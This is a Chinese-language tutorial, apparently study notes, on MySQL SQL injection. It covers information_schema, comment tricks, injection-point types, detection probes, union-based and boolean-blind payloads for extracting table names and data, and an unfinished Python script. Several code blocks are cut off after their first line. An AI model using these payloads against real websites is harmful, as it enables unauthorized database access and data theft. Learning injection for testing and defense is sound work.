SQL注入流程
- 找到注入点:判断是否有漏洞,寻找插入位置
- 构造注入语句,并在注入点注入形成新的SQL语句
- 新形成的SQL语句提交数据库处理
- 数据库执行新的SQL语句,引发注入攻击
前置知识
1.特别的数据库
在MySQL 5.0版本之后,MySQL默认在数据库中存放一个information_schema
的数据库,在该库中,需要记住三个表名,分别是:schemata
、tables
、columns
。
schemata
表存储该用户创建的所有数据库的库名。>>>>其中记录数据库库名的字段名为:
schema_name
。tables
表存储该用户创建的所有数据库的库名和表名。>>>>其中记录数据库库名和表名的字段名分别是:
tables_schema
和table_name
。columns
表存储该用户创建的所有数据库的库名、表名和字段名。>>>>其中记录数据库库名、表名和字段名的字段名分别是:
tables_schema
、table_name
和column_name
。
2.注释符
在MySQL中,常见注释符的表达方式:
#
…… :#
号后面的都会被注释
--
…… :--
号后面的都会被注释,不过在 --
的前后都需要加空格再加数据(GET传参时只能使用--
,后的空格用+
代替)
/* ... */
:在查询语句中使用斜杠星号注释,从 / 开始到 */ 结束的部分都被视为注释,不会被执行。
- 但**
/* ... */
** 的特殊用法--条件注释
条件注释是一种特殊的注释语法,它允许在注释中使用关键字,而这些关键字在执行查询时会被解析为相应的操作。
语法格式为:
1 | /*!<conditional_keyword> <query_part> */ |
例如:index?id=-10 /*!union*/ /*!select*/ 1,2,3
等同于index?id=-10 union select 1,2,3
SQL注入常用基础语句
1 | select version(); #查看数据库版本 |
SQL注入常用函数
联合查询(union
)注入使用
1.concat()
函数
concat()
函数:将多个不同字段的字符串连接成一个字符串。
1 | concat(str1,str2) #语法 |
注意:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
2.group_concat()
函数
group_concat()
将多个同个字段的字符串连接成一个字符串。
1 | group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator ‘分隔符’]) #语法 |
报错注入使用
1.extractvalue()
函数
从 MySQL 5.7.8 版本开始,ExtractValue()
函数已被弃用
ExtractValue()
函数来提取 XML 字符串中的特定路径的值。
1 | ExtractValue(xml_string, xpath_expression) |
- xml_frag:xml文档对象的名称,是一个string类型。
- xpath_expr:使用xpath语法格式的路径。
2.updataxml()
函数
- xml_target:xml文档对象的名称,是一个string类型。
- xpath_expr:使用xpath语法格式的路径。
- new_xml:需要更新的内容。
3.count()+rand()+floor()+group by()
函数
rand()
函数:rand()返回0到1的随机数。rand(0)返回一个固定的0到1的伪随机数。
floor()
函数:floor(x)
返回小于或等于 x 的最大整数。
group by
语句:group by
语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。
布尔盲注使用
1.substr()/substring()
函数
substr()/substring()
函数:用来截取数据库某个字段中的一部分。
1 | substr(string,start开始位置,length截取长度) #语法 |
参数
- string:必选,数据库中需要截取的字段
- start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始 截取;0,在字符串中第一个位置开始截取。
- length:可选,需要截取的长度。缺省。即截取到结束位置
2.ascii()
函数
ascii()
函数:返回字符串str的最左边的数值。
1 | ascii(str) #语法 |
2.length()
函数,返回字符串的长度
1 | length(str) #语法 |
注入点分类
①数字型注入点
类似的后端语句
1 | $id=$_GET['id']; |
在 Web 端大概是 http://xxx.com/index.php?id=1
这种形式,其注入点 id 类型为数字,所以叫数字型注入点。
用1 and 1=1
进行组合出来的sql注入语句为:
1 | select * from news where id=1 and 1=1 |
②字符型注入点
类似的后端语句
1 | $id=$_GET['id']; |
在 Web 端大概是 http://xxx.com/index.php?id=admin
这种形式,其注入点id 类型为字符类型,所以叫字符型注入点。
使用id=1' and 1=1 --+
组合出来的sql注入语句为:
1 | select * from news where id='admin' and 1=1 --+' LIMIT 0,1"; |
注意多了一个引号。由于注入拼接语句后多了一个'
,需要用注释符进行消除对语句的影响
③搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:
1 | select * from 表名 where 字段 like '%关键字%'`。 |
判断注入点
注意区别语句报错与页面报错、页面数据不正确的区别
1.?id=1 and 1=1
和?id=1 and 1=2
进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
2.?id=1' and 1=1 --+ / #
和?id=1' and 1=2 --+ / #
或使用?id' and '1'='1
和?id' and '1'='2
进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
3.?id=1%' and 1=1 --+ / #
和?id=1%' and 1=2 --+ / #
进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
注入方法
联合查询注入
联合查询语句:
1 | select a from b union select c from d where e; |
使用条件:页面对查询语句有回显查询数据
注意事项:
使用联合查询注入时,位于union前的语句不要出现查询的结果(后端只选择查询结果第一行的情况,若前一部分可以被查询,则联合查询的部分不会回显)
若前部分有结果,可在每次的
union
查询后添加语句limit n,1
(n根据题目实际进行切换)起到回显联合查询结果的作用注:limit num1,num2的作用为从第num1行开始显示num2行内容
所需函数
1.concat()
函数
concat()
函数:将多个不同字段的字符串连接成一个字符串。
1 | concat(str1,str2) #语法 |
注意:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
2.group_concat()
函数
group_concat()
将多个同个字段的字符串连接成一个字符串。
1 | group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator ‘分隔符’]) #语法 |
注入流程
判断类型
字段数
联合查询(
union
),必选保证union
前后两个查询的字段数一致,即两个查询结果有相同的列数,因此要对前一个的字段数进行判断。可以使用order by 数字
进行判断注:
order by n
表示查询结果通过第n个字段进行排序使用示例:
1
id=1' order by 1 --+
使用时不断增大数字,假设直至第
n
个出现错误,从而判断出字段数为n-1
回显点
知道字段数之后,我们还需要确定在哪个字段是回显到页面上的
直接根据字段数,联合查询数字
1,2,3...
,以三个字段数为例1
id=1' order by union select 1,2,3 --+
从页面上查找回显的是哪个数字
爆库名、表名,字段名,数据
使用union
语句在回显位置导出数据库中的数据,结合上文中的SQL注入常用基础语句
以2位置为回显点,爆表名为例
1 | id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ |
布尔盲注
构造SQL语句,利用and,or等关键字来其后的语句 true
、 false
使web页面返回true或者false,从而达到注入的目的来获取信息
使用条件:适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false类似的结果(例如:登录成功、)
注意事项:
前面参数在数据库无结果时,拼接语句使用关键词
or
前面参数在数据库有结果时,拼接语句使用关键词
and
另建议使用脚本
注入使用函数
1.substr()/substring()
函数
substr()/substring()
函数:用来截取数据库某个字段中的一部分。
1 | substr(string,start开始位置,length截取长度) #语法 |
参数
- string:必选,数据库中需要截取的字段
- start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始 截取;0,在字符串中第一个位置开始截取。
- length:可选,需要截取的长度。缺省。即截取到结束位置
2.ascii()
函数
ascii()
函数:返回字符串str的最左边的数值。
1 | ascii(str) #语法 |
3.length()
函数
length()
函数,返回字符串的长度
1 | length(str) #语法 |
4.left()
函数
left()
函数,返回从左至右截取固定长度的字符串
1 | left(str,n) #语法 截取字符串str的从左至右前n个字符 |
注入流程
- 求当前数据库长度
- 求当前数据库表的ASCII (即爆出数据库名)
- 求当前数据库中表的个数
- 求当前数据库中其中一个表名的长度
- 求当前数据库中其中一个表名的ASCII
- 求列名的数量
- 求列名的长度
- 求列名的ASCII
- 求字段的数量
- 求字段内容的长度
- 求字段内容对应的ASCII
手工注入过程详解
基本模板
1 | ?id=1' and (长度/字符函数(所爆数据的SQL) = n) --+ |
例如:
1 | ?id=1' and ASCII(SUBSTR((select table_name FROM information_schema.tables where table_schema = database() LIMIT 0,1),1,1)) = 101 # |
以爆数据库名字为例
求长度
1 | ?id=1' and (length(database()) = n) --+ |
通过页面的回显进行判断,数据库的长度是多少
求数据库名称
使用left
函数
1 | -- 从左至右截取一个字符 |
不断修改*
中的字符,使之页面显示为true
的类似项(如登录成功、成功等)
使用SUBSTR
函数
1 | -- 截取第1个字符 |
不断修改*
中的ASCII码,使之页面显示为true
的类似项(如登录成功、成功等)
注入脚本
注意查看表单的提交变量名称
使用POST提交数据
1 | import requests |